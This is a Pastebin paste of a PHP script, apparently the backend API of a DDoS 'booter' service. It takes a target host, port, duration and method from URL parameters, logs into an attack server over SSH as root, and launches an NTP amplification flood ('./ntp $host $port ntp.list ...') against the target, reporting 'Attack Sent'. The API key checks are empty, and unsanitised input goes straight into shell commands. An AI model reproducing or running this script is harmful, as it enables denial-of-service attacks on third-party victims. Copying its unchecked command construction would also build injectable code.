Advertisement
Guest User

something

a guest
Jul 14th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.72 KB | None | 0 0
  1. <?php
  2. /////////////////////////////////
  3. //--     Venux API Script - Modified by Aggron    --//
  4. /////////////////////////////////
  5. ignore_user_abort(true);
  6. set_time_limit(0);
  7. //////////////////////////////////////////
  8. //--    You're servers credentials    --//
  9. //-- Enter you're servers credentials --//
  10. //////////////////////////////////////////
  11. $server_ip = "1337"; //Change "1337" to your servers IP.
  12. $server_pass = "pass"; //Change "pass" to your servers password.
  13. $server_user = "root"; //Only change this if your using a user other than root.
  14.  
  15. /////////////////////////////////////////
  16. //-- Gets the value of each variable --//
  17. /////////////////////////////////////////
  18. $key = $_GET['key'];
  19. $host = $_GET['host'];
  20. $port = intval($_GET['port']);
  21. $time = intval($_GET['time']);
  22. $method = $_GET['method'];
  23. $action = $_GET['action'];
  24.  
  25. ///////////////////////////////////////////////////
  26. //-- array of implemented method as a variable --//
  27. ///////////////////////////////////////////////////
  28. $array = array("UDP", "stop");// Add you're existing methods here, and delete you're none existent methods.
  29. $ray = array("dontleakme1");
  30.  
  31. ////////////////////////////////////////
  32. //-- Checks if the API key is empty --//
  33. ////////////////////////////////////////
  34.  
  35. //////////////////////////////////////////
  36. //-- Checks if the API key is correct --//
  37. //////////////////////////////////////////
  38.  
  39. /////////////////////////////////
  40. //-- Checks if time is empty --//
  41. /////////////////////////////////
  42. if (!empty($time)){
  43. }else{
  44. die('Error: time is empty!');}
  45.  
  46. /////////////////////////////////
  47. //-- Checks if host is empty --//
  48. /////////////////////////////////
  49. if (!empty($host)){
  50. }else{
  51. die('Error: Host is empty!');}
  52. ///////////////////////////////////
  53. //-- Checks if method is empty --//
  54. ///////////////////////////////////
  55. if (!empty($method)){
  56. }else{
  57. die('Error: Method is empty!');}
  58.  
  59. ///////////////////////////////////
  60. //-- Checks if method is empty --//
  61. ///////////////////////////////////
  62. if (in_array($method, $array)){
  63. }else{
  64. die('Error: The method you requested does not exist!');}
  65. ///////////////////////////////////////////////////
  66. //-- Uses regex to see if the Port could exist --//
  67. ///////////////////////////////////////////////////
  68. if ($port > 44405){
  69. die('Error: Ports over 44405 do not exist');}
  70.  
  71. //////////////////////////////////
  72. //-- Sets a Maximum boot time --//
  73. //////////////////////////////////            
  74. if ($time > 86400){
  75. die('Error: Cannot exceed 86400 seconds!');} //Change 10 to the time you used above.
  76.  
  77. if(ctype_digit($Time)){
  78. die('Error: Time is not in numeric form!');}
  79.  
  80. if(ctype_digit($Port)){
  81. die('Error: Port is not in numeric form!');}
  82.  
  83. //////////////////////////////////////////////////////////////////////////////
  84. //--                        You're attack methods                         --//
  85. //-- Make sure the command is formatted correctly for each method you add --//
  86. //////////////////////////////////////////////////////////////////////////////
  87. if ($method == "UDP") { $command = "./ntp $host $port ntp.list 4 -1 $time"; }
  88.  
  89. if ($method == "stop") { $command = "pkill $host -f"; }
  90. ///////////////////////////////////////////////////////
  91. //-- Check to see if the server has SSH2 installed --//
  92. ///////////////////////////////////////////////////////
  93. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  94. if(!($con = ssh2_connect($server_ip, 22))){
  95.   echo "Error: Connection Issue";
  96. } else {
  97.  
  98. ///////////////////////////////////////////////////
  99. //-- Attempts to login with you're credentials --//
  100. ///////////////////////////////////////////////////
  101.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  102.         echo "Error: Login failed, one or more of you're server credentials are incorect.";
  103.     } else {
  104.        
  105. ////////////////////////////////////////////////////////////////////////////
  106. //-- Tries to execute the attack with the requested method and settings --//
  107. ////////////////////////////////////////////////////////////////////////////  
  108.         if (!($stream = ssh2_exec($con, $command ))) {
  109.             echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  110.         } else {
  111. ////////////////////////////////////////////////////////////////////
  112. //-- Executed the attack with the requested method and settings --//
  113. ////////////////////////////////////////////////////////////////////      
  114.             stream_set_blocking($stream, false);
  115.             $data = "";
  116.             while ($buf = fread($stream,4096)) {
  117.                 $data .= $buf;
  118.             }
  119.            
  120.  
  121.                         echo "Attack Sent";
  122.             fclose($stream);
  123.         }
  124.     }
  125. }
  126. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement